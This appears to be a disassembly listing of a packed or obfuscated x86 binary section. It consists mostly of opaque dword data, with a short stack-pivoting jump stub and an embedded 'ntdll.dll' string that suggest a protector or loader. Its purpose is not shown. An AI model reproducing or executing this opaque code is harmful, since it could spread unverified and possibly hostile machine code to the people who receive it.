		dd 369A9189h, 3A73DD33h, 233h, 74EA5CE0h, 727D25ABh, 0D786C02Ah
		dd 0AEFDF264h, 0F8A24DACh, 871A118Eh, 0B4CE6BDCh, 0F13F69FBh
		dd 5CD9A4F7h, 4746A291h, 0B7A011BCh, 0C65F8010h, 830C7578h
		dd 8011EA12h, 39A3F163h, 8732B1BCh, 0CE3028FEh,	8498F164h
		dd 53015D93h, 6A88FF59h, 355C02BFh, 0D15A059Dh,	9B9E06FBh
		dd 0F3554D45h, 58309AF0h, 7262005Eh, 0DD950778h, 2CD58EE7h
		dd 0F7C5ED80h, 3D3F656Bh, 37676A54h, 31C51312h,	0E00E7C5Dh
		dd 0BFD95EDh, 83C7C731h, 104EF3D6h, 2000000Ah, 3323C12Dh
		dd 4737D53Fh, 5F4FED4Fh, 75650369h, 0D7A1880h, 0E34B40B2h
		dd 0FA5E5545h, 13736C5Ch, 2D8B8575h, 0BE2F908Fh, 76015E96h
		dd 0F4092A5h, 53AEB11Bh, 0AD1EC958h, 69F1428Ah,	10822D7Bh
		dd 9647BB12h, 0A516C1ECh, 76012F7Dh, 49D43E8Ch,	7A187C73h
		dd 2C2F938Ah, 9C47DAD1h, 1334CE2Bh, 46F13F70h, 77157970h
		dd 292C9087h, 291B7973h, 793FD501h, 946207EAh, 9C000009h
		dd 0AF9F3DA9h, 0C3B351BBh, 0DBCB69CBh, 0F1E17FE5h, 89F694FCh
		dd 5FC7BC2Eh, 76DAD1C1h, 8FEFE8D8h, 0A90701F1h,	3AAB0C0Bh
		dd 76015E12h, 29B40619h, 58B6B086h, 74B7BEEh, 75696FE9h
		dd 5C52080Bh, 198AF3F6h, 6FE907F1h, 934CAAF8h, 0ECAB44B3h
		dd 0E0EB9E0Ch, 0E845B661h, 1969FB0Ch, 0C19720CBh, 0E6467C9h
		dd 5FD4CCA4h, 0FB11C6EEh, 0EF87D575h, 32B1BC51h, 658DFE87h
		dd 7475FB11h, 686BCFC6h, 85107A12h, 0FAC1514h, 3FEA3870h
		dd 73116F69h, 0A7188983h, 6FEFB47Fh, 0B6A8408Eh, 794348EAh
		dd 0ECE58A6Dh, 44000008h, 5747E551h, 6B5BF963h,	83731173h
		dd 9989278Dh, 319E3CA4h, 76F64D6h, 1E827969h, 37979080h
		dd 51AFA999h, 0E253B4B3h, 76015FBAh, 745CAEC1h,	6FE90748h
		dd 7ADED5ABh, 0E43E3810h, 0A18DD0E0h, 0A642D6B3h, 9F188F84h
		dd 3208B34Bh, 0EC6AD43Eh, 197B7349h, 0A83B32AFh, 8DB38CFDh
		dd 582E69FBh, 0B493FD61h, 0F0E5BB66h, 0C52F8588h, 0B6B643Ah
		dd 24847D6Dh, 8717C21h,	5C2A0000h, 0BF299186h, 18BC4B42h
		dd 3C171575h, 0F088EEE4h, 873CAD58h, 0A669FBE3h, 0B324AD58h
		dd 75FBEC8Bh, 0F7DA4492h, 5FBFB88Eh, 0D070A5Ch,	68C53D36h
		dd 0C7F366D0h, 0FF75FB1Fh, 0EEC44626h, 3D9396F4h, 929FF6D3h
		dd 11E6DE2Fh, 8C000001h, 0B3B6160Fh, 9FA206FDh,	8E91EFE9h
		dd 0E17FDFD8h, 9598F8F1h, 214ABA2Ch, 0F47343FBh, 3AA402FCh
		dd 8530C1BDh, 0E9B0B414h, 8A8DDB6Fh, 0C5947433h, 0DECE6CCCh
		dd 4DA85E5h, 51A7AA0Ch,	0C59B04E7h, 8F026CCCh, 6FE9AF6Bh
		dd 8B815700h, 0D36BCDC5h, 19E8C869h, 143CAD20h,	1B6FE9B0h
		dd 89B122CDh, 906FE9B0h, 770CAA42h, 110BEE7Bh, 75CAC042h
		dd 91C132DDh, 986FE91Dh, 9A91474Ah, 1FF59836h, 7733C725h
		dd 0B87B248Ch, 0F5ECC42Eh, 0B3258E91h, 0F1E8FE1Fh, 0A0348A8Dh
		dd 64CECF9Bh, 8934928Ch, 19678F00h, 28766FE9h, 0C584DBBEh
		dd 0BB1F16E5h, 0D2362D1Dh, 0EA7974CFh, 23A9CE3Fh, 0A5869FBh
		dd 21857C6Ch, 36C7C31Eh, 0CE61A8Bh, 0B70575FBh,	99B39A0Ch
		dd 0D308BEEAh, 702F8669h, 6CAC190h, 7412AA10h, 26298D84h
		dd 9641C0CBh, 0DED5825h, 0DD5FA970h, 10E18A8Ah,	0FD044498h
		dd 0AF008469h, 9C966C17h, 6656D43Eh, 7D6D0B6Fh,	32862484h
		dd 8C80636Ah, 6EDF8A22h, 69FB1FC9h, 5AC0B68Ch, 18C311F0h
		dd 0E4E74B42h, 8B41248Eh, 3B8F2D97h, 0DFE2616Ah, 0E907628Eh
		dd 0E1C19A6Fh, 1D7AB60Dh, 75FDD8h, 5CA30000h, 0C22C8E86h
		dd 7990F6EAh, 83F0304Bh, 9D0609A1h, 48A1132Bh, 6ED889ADh
		dd 0E95CD3FBh, 84ECE16Fh, 73D1CB81h, 1C1F857Bh,	0B01FFFB8h
		dd 0F6785817h, 0C925D84h, 9E32C407h, 0C263802Ah, 330B75D4h
		dd 395BD93Fh, 50A9250Ch, 0CD9B0DB8h, 0D2FA6B4Eh, 0D96FE9B1h
		dd 4181F78Bh, 27CA48B2h, 0FEFD5751h, 0A91CAD5Bh, 0D245AF47h
		dd 6FE9996Ah, 0FF767158h, 5C1FFFFFh, 25289286h,	938D65CFh
		dd 0EA04D935h, 86E2616Ah, 0CB3DC669h, 0E91B006Ch, 0E70FA2A4h
		dd 0F66FE978h, 5C023EA8h, 0C32D8D86h, 1D869FE6h, 70C6D5h
		dd 6A6C0000h, 5C86E261h, 35D84AD3h, 53CD649Ch, 8EBDE578h
		dd 82CC6FE9h, 11A8463h,	329C34ACh, 0E97797BFh, 0FF71FA6Fh
		dd 0F277F7C0h, 0EA12A5FDh, 0F16FE928h, 105A39A3h, 0E76FFA3Ah
		dd 4DF8904Ah, 1B1E7E77h, 9B1941B2h, 0D2206FE9h,	5C94D03Ah
		dd 90865C22h, 0F4E8C02Ah, 19552E8Ah, 0F47BEA5Ch, 0E5E6B432h
		dd 21E470BBh, 52BC54E8h, 318Bh,	616A3900h, 0D35C86E2h
		dd 7B1D94Ah, 6AB86FE9h,	7264EBFh, 0E7356FE9h, 7E20A7Dh
		dd 0B5436FE9h, 0EA32980Ah, 815FD667h, 225CDB17h, 55B11B0Fh
		dd 865C1955h, 0D52B2E8Ch, 791B92Ah, 4A986FE9h, 0AE1008E0h
		dd 0D5332D03h, 0F37886Bh, 846FE907h, 1E16E5C5h,	0FC931EBCh
		dd 886FE916h, 0FFF335A1h, 865C4FFFh, 0E7BF2991h, 56EB89F3h
		dd 0AF21CC57h, 80FA854Dh, 0C04BB5C6h, 153DAE37h, 246FE922h
		dd 28F96CD6h, 8169FB1Dh, 0F1C73033h, 0B72A94FCh, 75FB238Bh
		dd 360AEAC3h, 0DE2F9ADFh, 0E26h, 820CC00h, 7F000000h, 4C4FB1A9h
		dd 6A508CF6h, 0C435E063h, 69FB0FB3h, 73292C7Ah,	0EC77157Fh
		dd 75FB1087h, 9B4140Dh,	6BD53F33h, 0A404FDEDh, 0C92B23F9h
		dd 84647C5Fh, 71E26BF6h, 75FB1049h, 0F7980250h,	0C5BF9517h
		dd 10BBE354h, 74C275FBh, 0A19A72DCh, 0B9B3A341h, 8F89815Bh
		dd 0BCB08631h, 0E36A752h, 1D75FB10h, 0CCAB65CFh, 6C663515h
		dd 0AF8140Eh, 0D89D86B3h, 0DAFAh, 0D35CA000h, 0E9073A62h
		dd 0D67BAC6Fh, 41F51432h, 0D8AF442h, 5C248011h,	0E907BEEBh
		dd 9CB1236Fh, 3221CB55h, 0DD6BF05Ah, 0FDD35C81h, 4CA2A503h
		dd 70830A1h, 0C9176FE9h, 0EA5C235Fh, 0FCF1FAB8h, 9C3DA7DDh
		dd 150F83B6h, 42360CB7h, 72C54C5h, 0E5336FE9h, 4A7E34Dh
		dd 90865CEAh, 0E60E7F2Ah, 0F56FE907h, 0CFC03DA7h, 1569DC38h
		dd 3A62D35Ch, 416FE907h, 65AC89F3h, 8CD51D87h, 35h, 0E2616A32h
		dd 0A8686137h, 0F1474AB4h, 5CB3EF59h, 0E907C3EBh, 207CCA6Fh
		dd 0D35C225Ch, 0E9073A62h, 9F93416Fh, 44DC3235h, 0A40E02DAh
		dd 20195548h, 21h, 8C865CCEh, 4647C42Eh, 0EB5C63BFh, 6FE907C3h
		dd 0D9413624h, 225CE541h, 5D511B0Fh, 55FF5BF3h,	0FF1D2019h
		dd 0FCEFFFFh, 4BB4B715h, 0AD178175h
		dd 946ADBD5h, 0DE34379Fh, 0E907234Bh, 44DC2A6Fh, 342D03A6h
		dd 117BD1D4h, 5F0A9994h, 0A20C00D6h, 1E08C538h,	0EB3969FBh
		dd 226B97E8h, 8B8175FBh, 0D169CFC5h, 0BC2218CEh, 0B7DF50B9h
		dd 0C675FB22h, 4222D978h, 1D14AD7h, 0EE8623D1h,	0DD5F3F18h
		dd 0A6A91307h, 0B209E650h, 0F9DE3064h, 34h, 0E0636A9Fh
		dd 11C3C435h, 0FC4A69FBh, 0C2BA90F9h, 1EB4DC4Dh, 6DBB75FBh
		dd 0CCF86BD5h, 475FB1Eh, 20774B2Bh, 67DE2F92h, 10Ch, 8EF0E8BEh
		dd 8FCB358Bh, 0B4B7150Fh, 2951C24Bh, 306FE907h,	0ABA078E2h
		dd 888BE9E3h, 7DEF9A32h, 4539C0EEh, 0EE82D8DBh,	66D0D4A5h
		dd 75D3CD83h, 97FFF4CAh, 0BE14A2Dh, 0F5534D17h,	1049CF2h
		dd 0D322A4AFh, 740C375Bh, 0DA38320Ah, 0D35A62Fh, 1C6FE9E8h
		dd 5BE664CEh, 6FE9E3EBh, 93318F89h, 0A04BA9A3h,	6B6ED4CAh
		dd 5FC8AB15h, 0EC3D65D6h, 24C6FE9h, 0BC2BE8Bh, 3CA63EA1h
		dd 8A35CCBFh, 0FBA06019h, 7D1B6969h, 0B35EE5E8h, 0D4CBA12Ah
		dd 60B5DD70h, 0D1CB75FBh, 1B1A7073h, 5AF063CDh,	19701002h
		dd 8F894B43h, 40969931h, 7AADF7D6h, 6CDB315Fh, 6F45F088h
		dd 8474127Ah, 6935278Fh, 0E2794346h, 2715AFFh, 0CCBF0000h
		dd 0DED2C260h, 0EEE6D674h, 8FEEE8Ch, 1F1404A2h,	4DAC19B7h
		dd 0E482EADFh, 0FB99FDF4h, 14B2120Bh, 2ECC2A24h, 355DCE2Fh
		dd 44760165h, 0EA5CDF31h, 0B47405C5h, 0A37BE56Ah, 0B8A846AEh
		dd 6EC260BEh, 2B8F865Ch, 5A4944C1h, 0A3F9FC66h,	14EE600Bh
		dd 88E8E17Fh, 249B2F85h, 5AE54F63h, 0FBC7E8E9h,	0D0D32169h
		dd 0FBA8537Fh, 0D2B28B75h, 0CD3EC750h, 75FBA8A5h, 0ABD366B4h
		dd 0B275FBA8h, 0C61DFA64h, 0DDE301Bh, 0B9h, 0B7150FB3h
		dd 4109FEB4h, 93E5E848h, 92B53A86h, 952DC542h, 2C1178EAh
		dd 8124D048h, 73E33417h, 16FE9FBh, 1B0BA907h, 96B6321h
		dd 0B4B71911h, 68C3C65Eh, 0C233DE65h, 69FC2109h, 8124C210h
		dd 5A52B2ABh, 0A6FCFF63h, 35CCBF3Ch, 6890018Ah,	7775FBE5h
		dd 0C334BF29h, 70108C8Ch, 26984391h, 0D161C328h, 911C8617h
		dd 0C05EC6BBh, 8173DBD0h, 79432313h, 6C9C4124h,	0C4000001h
		dd 0D7C765D1h, 0EBDB79E3h, 3F391F3h, 1909A70Dh,	0B11EBC24h
		dd 87EFE456h, 9E02F9E9h, 0B7171000h, 0D12F2919h, 62D33433h
		dd 7601663Ah, 0FDC2E41h, 7114B21Ah, 0D43EA69Bh,	6A402FCh
		dd 0B7150FB2h, 0A604FEB4h, 0E9787308h, 9510CC3Eh, 20914B4Dh
		dd 5DBA2BB6h, 69FBC1h, 3CD5312Ah, 50946B9Ch, 0D22427BFh
		dd 4CB48B85h, 0FB65FDC9h, 4D23CE1Ch, 6757F553h,	0B10C0F6Dh
		dd 0F37C27BAh, 0B165F86Ah, 5E302B14h, 0FBF3A3CBh, 33B21575h
		dd 0FBA748E9h, 9203AEFCh, 75FB6A6Ah, 46B92371h,	7003A82Bh
		dd 0FD61582Eh, 7466B493h, 793FD60Eh, 0B8852A0Dh, 78000000h
		dd 8B7B1985h, 9F8F2D97h, 0B7A745A7h, 0CDBD5BC1h, 65D270D8h
		dd 3BA3980Ah, 52B6AD9Dh, 6BCBC4B4h, 85E3DDCDh, 1687E8E7h
		dd 760167EEh, 6A98EAFDh, 28868063h, 6574E590h, 0A869F145h
		dd 0A7A1575Ah, 0C1BBAB49h, 460F6063h, 5E351D4Ah, 4D030664h
		dd 0D0ECEF59h, 29C83717h, 0C9C39272h, 0AFB2120Bh, 0EDEDC559h
		dd 42F4179Eh, 788DFFAAh, 0B8942FF4h, 34D755BFh,	9C06645Eh
		dd 696CCAC4h, 0FEF7BDB3h, 4D03069Eh, 38EEF157h,	7BD8DB43h
		dd 0DC75E4C4h, 746E3D1Dh, 36F96B16h, 0F3865E8h,	197B736Bh
		dd 0D856C016h, 8D90EEE8h, 0AE8h, 865C9600h, 0D42A2D8Dh
		dd 0FDC186Ah, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh
		dd 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h,	4D0B0E78h
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 89522404h
		dd 4C281E2h, 83000000h,	148704EAh, 2C895C24h, 6CCF6824h
		dd 34890000h, 461F6824h, 2C8B0618h, 4C48124h, 83000000h
		dd 248904ECh, 24048324h, 0BB535E04h, 8,	8F55F301h, 34FF5B03h
		dd 0C4835E24h, 242C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54EA15
; ---------------------------------------------------------------------------
		dd 0F2871434h, 0E167ED52h, 6146B8BEh, 0C5030618h, 7185C650h
		dd 47061228h, 38172568h, 0B1B5FFCFh, 8D061203h,	123B5D85h
		dd 8BD0FF06h, 31858DD8h, 5006120Ah, 10468h, 0C6D3FF00h
		dd 12287185h, 0BF685306h, 0FF8307F8h, 1203B1B5h, 5D858D06h
		dd 0FF06123Bh, 0F38589D0h, 83061843h, 120D99BDh, 840F0006h
		dd 0Bh,	34E59D8Bh, 5E90612h, 0BB000000h, 0
		dd 10068h, 0F7B58D00h, 56061843h, 0B195FF53h, 8D06121Dh
		dd 1843F7B5h, 0E9F00306h, 1, 5C3E804Eh,	9840Fh,	3E800000h
		dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 61843F7h,	0F395FF50h
		dd 58061843h, 0F0BE0FFh, 5B2141E0h, 7B872BBDh, 17797884h
		dd 8D8D4A49h, 6186326h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0B6C35747h, 0C78B66C5h, 9A18D89h, 0C7F80612h
		dd 12050585h, 664C06h, 0ABF6600h, 0D985C7C0h, 6121Bh, 0FF000000h
		dd 1206ADB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0A195894Dh, 0FF061207h, 121B3195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 1BBB667Eh, 0FF006A75h, 1219CD95h, 0EBC08B06h
		dd 2A55C14Eh, 70D4DC15h, 0F71B15A3h, 653C7276h,	0E094657Dh
		dd 24F922BCh, 0E6CCBD33h, 0B8759B85h, 378092A6h, 96B6AA8Fh
		dd 0C6507D1Eh, 887941F6h, 41ECB229h, 84922217h,	46CE7579h
		dd 1A98625h, 5B2AFB81h,	33A3A67Bh, 6893D772h, 0E84C6147h
		dd 11h,	0A42A7AB1h, 640CBEA5h, 0F0BAC6BCh, 603E9EDBh, 5DB58BF7h
		dd 5A06121Ch, 9171BB60h, 0BA6647C1h, 81611B07h,	6256C2h
		dd 0E4BB6600h, 0B996h, 81660000h, 8B1B46CBh, 10E90A04h
		dd 0C8000000h, 0FB487312h, 34BA42C3h, 7644A220h, 81AB7891h
		dd 0FC1BD6E8h, 9B5330Eh, 81061221h, 7E27DCC0h, 19B58B79h
		dd 81061212h, 16A2EFF0h, 820F501Ch, 0Ch, 6880Fh, 0BD8B0000h
		dd 6120E91h, 0F80A048Fh, 6810Fh, 0BD890000h, 6120DA5h
		dd 2B03E983h, 1220E9B5h, 6E84906h, 4B000000h, 51E6E76h
		dd 4860F52h, 66000000h,	5B97A5BFh, 9E68F981h, 850FFFFFh
		dd 0FFFFFF7Bh, 21BDB58Bh, 8D8D0612h, 618650Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0F2C35545h, 89FCA33Dh
		dd 1209A18Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 78E1D9D5h, 1CDB3E9Bh, 858B39E8h
		dd 61234B1h, 50585C7h, 6D480612h, 8B660000h, 0C1B589C1h
		dd 0C7061205h, 121BD985h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 8FF04E44h
		dd 0C617454Dh, 3DBD8B93h, 0FF06121Dh, 122DB9B5h, 12E95006h
		dd 0AA000000h, 0FCB0B6ACh, 0A86DC4F5h, 0F4F229C8h, 0F440122h
		dd 95FF5F20h, 6121B31h,	2D75958Bh, 6A0612h, 19CD95FFh
		dd 0C08B0612h, 1EA24FEBh, 0C2A9F9D1h, 39F3A3E6h, 0DDF77A1h
		dd 152CA0FCh, 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h
		dd 2C8DAC97h, 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h
		dd 0A0F85E52h, 97926708h, 26ACBA8Ah, 0D0A6928h,	0ED04C79h
		dd 32AAB3ADh, 6E821h, 29DB0000h, 0CA151033h, 8B5EE78Ah
		dd 1213B98Dh, 45C68106h, 8B000062h, 12237D95h, 0AEB4BB06h
		dd 0EB811860h, 18609659h, 5860Fh, 81660000h, 0FF5CF6D8h
		dd 1FCC8036h, 0C5B5895Fh, 81061226h, 5DAE8F7h, 14E817h
		dd 68CE0000h, 0AAF23B8h, 0F7F42D93h, 0F5D10209h, 0D7ECD87h
		dd 858B1B25h, 61231A5h,	76F78158h, 9676687h, 1217E995h
		dd 5DEF8106h, 81753086h, 7D9769F0h, 0E860572Bh,	5, 8D8B4E21h
		dd 0F5850BA1h, 5A06121Bh, 2299958Bh, 8F610612h,	0BD8D2B06h
		dd 83061226h, 952302EEh, 6121B8Dh, 0BD894E4Eh, 6120509h
		dd 0F01EB83h, 1A85h, 0E0816600h, 1CE907DAh, 0D5000000h
		dd 7889BB8Dh, 9F7F7CF3h, 0FC920A2Ch, 0F52BF8DFh, 0FFFF5AE9h
		dd 1F4E0DFFh, 0E88F5294h, 5, 3F340784h,	199589EEh, 5E061230h
		dd 2C498589h, 0C6810612h, 6763h, 0C92B20B2h, 5890Fh, 81660000h
		dd 0FF7B42C0h, 58B83134h, 5B1B48BFh, 2DC19589h,	0EB810612h
		dd 1FB777B4h, 8170D080h, 0A45287F3h, 0B70F5073h, 0EB815FC3h
		dd 651B3C52h, 68C0Fh, 958B0000h, 6121E95h, 8B0E1C89h, 0FFB70FC6h
		dd 0B04E983h, 122D2DBDh, 18F98106h, 0FFFFF99h, 0FFFFAE85h
		dd 0E98531FFh, 0E906122Fh, 37h,	6EFCCE6h, 0E61D8C93h, 2E81E89Dh
		dd 6C64746Eh, 6C642E6Ch, 1467006Ch, 8003B2BDh, 0FEB9h
		dd 5 dup(0)
		dd 0E9000000h, 6DFh, 18683668h,	18EBE906h, 868FFFAh, 0E9061869h
		dd 0FFFA18E1h, 1869AD68h, 18D7E906h, 0AB68FFFAh, 0E906186Ah
		dd 0FFFA18CDh, 186B6168h, 18C3E906h, 5068FFFAh,	0E906186Ch
		dd 0FFFA18B9h, 58F66255h, 6C0A7468h, 8422847Ch,	9A389E94h
		dd 0AF4DB5AAh, 8075E742h, 938A7A18h, 0A8A1912Fh, 0C0BAAA48h
		dd 64C5C462h, 16ECBF3h,	6DBFD276h, 3620h, 150FCE00h, 4FEB4B7h
		dd 63C5BD93h, 0E907A8D0h, 0D169B76Fh, 6D8FB426h, 0FF02605Ah
		dd 699315A9h, 4DF06ED8h, 0B21C8077h, 0E953133Fh, 0D030296Fh
		dd 0C1B98F32h, 6AB9F55Fh, 0C435E063h, 69FB2D8Fh, 6D0180F2h
		dd 0B4188138h, 1A1D6B4Ah, 0FBE59DC9h, 1CFCD575h, 3058F148h
		dd 24A38DEh, 0ADDE0000h, 0C85B5287h, 2F0FAC1Dh,	0B0FE69FBh
		dd 0C94663B6h, 3239B1D9h, 5E9304AFh, 6F2C37BCh,	0DFB51E21h
		dd 0A01D87E5h, 0FA6B16ADh, 2E2B1FA1h, 0B6F663Ch, 0E1C7EF60h
		dd 88D63224h, 46F13F1Eh, 0AB157970h, 0F2504A20h, 0E6DBB154h
		dd 2DC5251Eh, 93F1EBC3h, 0DBEF4A1h, 0BD6245B7h,	4F7h, 48E65245h
		dd 5CFA6458h, 7412746Ch, 8A288E84h, 9F3DA59Ah, 7065D732h
		dd 837A6A08h, 9891811Fh, 0B0AA9A38h, 54B5B452h,	16FBBE3h
		dd 5DAFC276h, 0B4B7150Fh, 4BBC5259h, 6FE90723h,	9944DC2Ah
		dd 3D299E10h, 79E1CC60h, 7408605Bh, 0A7462C1h, 0FBC2EA97h
		dd 84794F69h, 85D3B21Ch, 1C9F95E7h, 0EBEE4C46h,	0BFAE2B95h
		dd 6B087924h, 9A700DEBh, 4F021A50h, 0BA3D6F0h, 0D1FBBE11h
		dd 616CF774h, 42C537E2h, 0D5AEF92Bh, 73E46FD9h,	2983D3Eh
		dd 0A3FE014Fh, 0FD6E19A8h, 88BB4A4h, 0FB2394F5h, 6D08834Ch
		dd 0A2DE8EADh, 2AD8D782h, 9C34CC36h, 0C3211BF1h, 0D4108225h
		dd 0F9FEA1C7h, 6D673FA9h, 4F52BAAFh, 1C6F61F9h,	9E0AF5Dh
		dd 4258126h, 24170000h,	362A1AB8h, 463E2ECCh, 605646E4h
		dd 776C5CFAh, 0A504710Fh, 3CDA4237h, 53F1554Ch,	6C0A6A63h
		dd 8624827Ch, 8DB52687h, 9C760170h, 0D35C3789h,	0E9073A62h
		dd 0E4F7416Fh, 505C93AFh, 2D056F07h, 0B82AD533h, 0F5D357A6h
		dd 593CA6A8h, 0C9740FFEh, 0FB8B6B58h, 1ACFA69h,	7CDF0778h
		dd 0A4EE75FBh, 4B6A3333h, 0FC66FE06h, 0FFE2E97Eh, 4BA1A408h
		dd 959708B3h, 470043Bh,	0C4E20A7Bh, 9BE96FF3h, 59045231h
		dd 8D2B8983h, 4245A39Dh, 0B25DE4E7h, 5CB9441h, 6557A56Ah
		dd 7330E414h, 806D12F5h, 0BC000003h, 0CFBF5DC9h, 0E3D371DBh
		dd 0FBEB89EBh, 11019F05h, 0A916B41Ch, 7FE7DC4Eh, 96FAF1E1h
		dd 0AF0F08F8h, 0C9272111h, 5ACB2C2Bh, 76017032h, 5CD42639h
		dd 0C02A9086h, 8D90EEE8h, 0AD0B224h, 466A1189h,	756C5FDCh
		dd 2C201880h, 0E7F2AC2h, 69FBCF05h, 8528C614h, 0C155B7AFh
		dd 0E5B57986h, 61289272h, 1A7h,	6D6137C0h, 17AA0003h, 75FBB6EFh
		dd 0A46B0FEh, 3A62D35Ch, 416FE907h, 0EA4F89F3h,	557DEE77h
		dd 646FE907h, 0C3271E16h, 0F2D1DC59h, 419396FCh, 92BDE48Eh
		dd 952DC505h, 0B91D14EAh, 0B653C44Fh, 6769FC06h, 60CC1F19h
		dd 43A0E8E2h, 640F796Dh, 170ECBF3h, 1A84D263h, 6813AE9Dh
		dd 293DE2F7h, 0C8C1975Dh, 0A50F6568h, 1A7578C6h, 0FE59013h
		dd 0C14CB616h, 38B0F750h, 0ACA47A5Fh, 0B301E04Ah, 0DA383208h
		dd 0CCC3993Ch, 2C26FE68h, 5093DCCEh, 7F628620h,	282DAh
		dd 5BC7BA00h, 6FD9CDBDh, 87E9E1D1h, 9D03F9E9h, 0B21A0FFFh
		dd 0DA48A714h, 0EFDF7DE5h, 6F694F8h, 1F0FAD0Dh,	2A29C725h
		dd 713058C9h, 2C3F7601h, 0B7150FDAh, 84D94BB4h,	0FD4CB3A1h
		dd 1D108DF7h, 0D05DB86h, 45B641ABh, 69FB3D98h, 0DB0374FDh
		dd 0E275FB42h, 0FD4B2A94h, 0F0E6BC5Fh, 0CBCE342Ah, 84DADD75h
		dd 0F558E01Ah, 4FC06BF6h, 700D69B2h, 0C81B1563h, 0E10901C1h
		dd 10D2CAA0h, 5FB5B816h, 0EDE05DC7h, 253AAB56h,	4F8DD31h
		dd 5558B3B6h, 59B223CEh, 14F2F045h, 7CE6443Eh, 0CEA44F9Dh
		dd 0E8D876D4h, 0D23C30EEh, 0EFE179CFh, 0EA62E57Eh, 0CCE3886Bh
		dd 70000001h, 8373117Dh, 9787258Fh, 0AF9F3D9Fh,	0C5B553B9h
		dd 5DCA68D0h, 339B9002h, 4AAEA595h, 63C3BCACh, 7DDBD5C5h
		dd 0E7FE0DFh, 760172E6h, 0F90E2F5h, 59B4B715h, 4E24CF52h
		dd 9FDF555h, 39AA359Fh,	69FB1E4Ch, 978793DDh, 52042C9Dh
		dd 0BD0B75FBh, 0F7F64C29h, 5C6DC15Fh, 73A62D3h,	0F3416FE9h
		dd 82010C89h, 605E66D7h, 780169F1h, 16DDF07h, 9DFBF576h
		dd 0F745449Ah, 0B560AE8Dh, 0E987E5DFh, 15797046h, 7BD9D3ABh
		dd 332E1D78h, 7FD5D83Ch, 272A9287h, 58E39D1h, 16D6C94h
		dd 0CFC57376h, 78106669h, 0BA248A80h, 0C6C4BE2Fh, 5537009h
		dd 2C8A845Ah, 46A49E8Eh, 4BE5E843h, 0E907B2DAh,	749C0D6Fh
		dd 7B6FE907h, 48E02E2Dh, 166B2C9Dh, 20F669FBh, 69BFC22Ch
		dd 38F907D5h, 9D07785Eh, 657E70BEh, 0F07336F4h,	0DD680Dh
		dd 6C5F0000h, 7E726200h, 8E867614h, 0A89E8E2Ch,	0BFB4A442h
		dd 0ED4CB957h, 84228A7Fh, 9B399D94h, 0B452B2ABh, 0CE6CCAC4h
		dd 0D5FD6ECFh, 0E4760173h, 636A7FD1h, 0D6C435E0h, 5969F160h
		dd 0C99F080Bh, 29016BD5h, 4333D12Fh, 3F67D849h,	0B976016Dh
		dd 8431267Ah, 62B0AF78h, 0CE6D9FCEh, 14AC27F9h,	9EDCC011h
		dd 3B327537h, 0FA6BD4D7h, 76D85FD2h, 9D938BD9h,	17D03437h
		dd 7229C837h, 6BC9C392h, 8DF5EAC0h, 4CCA348Ah, 80F1625Ch
		dd 76D85F58h, 7E811967h, 92038C15h, 76D85F6Ah, 68902371h
		dd 7776D85Fh, 0F3A9529h, 43D31071h, 0A50B01D9h,	8FF7ECA2h
		dd 7CDED68Ch, 83632279h, 49D27B14h, 0D80DB0D8h,	771BF76h
		dd 0BDB78666h, 0D7D1C15Fh, 0FEF8CE79h, 0AE5336A0h, 3, 0F59955Ch
		dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh
		dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 81E18951h
		dd 4C1h, 4BE5600h, 29000000h, 0C875EF1h, 54685C24h, 89000018h
		dd 8956241Ch, 4C681E6h,	81000000h, 4EEh, 24348700h, 2404895Ch
		dd 0F61FFB68h, 0D3F75B53h, 4BEBD14Bh, 7746C381h, 8B54B013h
		dd 0C4812404h, 4, 9B85053h, 295F7660h, 58042444h, 8108408Fh
		dd 60090840h, 34FF5F76h, 0C4815824h, 4,	52241C8Bh, 0C281E289h
		dd 4, 8704C283h, 0E95C2414h, 0FFFA1225h, 1CEF6DDh, 0D70ABB78h
		dd 3E98891Bh, 0B8B338BAh, 6186D52h, 0E0FFC503h,	233A1C15h
		dd 6145722Ah, 3D202255h, 10A15D45h, 413047AFh, 4BDD3ADCh
		dd 20A4FBB6h, 4942FB60h, 9BEA6FFh, 43D676A0h, 73D4D0C9h
		dd 27602BDFh, 1509196Fh, 431ED8FEh, 2D7F7E0Dh, 3BC3E5A5h
		dd 4F58454Dh, 3ACE7373h, 22F5DF6Dh, 6A76CDADh, 5F6A7050h
		dd 241FFD6h, 30FD53A8h,	7D64BA8Bh, 414CAD57h, 45C1BA64h
		dd 0E0DBC59h, 0CE8h, 0BEE86B00h, 68354A59h, 0B6CCED09h
		dd 5BCF8B90h, 0E524D081h, 0C38118D4h, 6886h, 0EE9F860h
		dd 63000000h, 417674E7h, 54A8B9F9h, 8AD5542h, 0FF2B614Ah
		dd 34FFC68Bh, 0AE91Fh, 4D5F0000h, 18ADE515h, 0F9A44EB0h
		dd 0CB8B665Eh, 0DE4AC681h, 605169FAh, 815861FCh, 0FAB265EEh
		dd 0A1C98022h, 0F3BBEE81h, 8166086Bh, 56B4A7E1h, 0FE9h
		dd 0E7201F00h, 0CC41F32Bh, 3E63AA4Ah, 0E4F2B9D3h, 663B048Fh
		dd 6693CA81h, 83D38B66h, 816604EFh, 8148D1EAh, 0FF9848FFh
		dd 1C850FFFh, 66000000h
		dd 2CE9D18Bh, 0AC000000h, 0F3CDBA35h, 2CD4B823h, 92B70669h
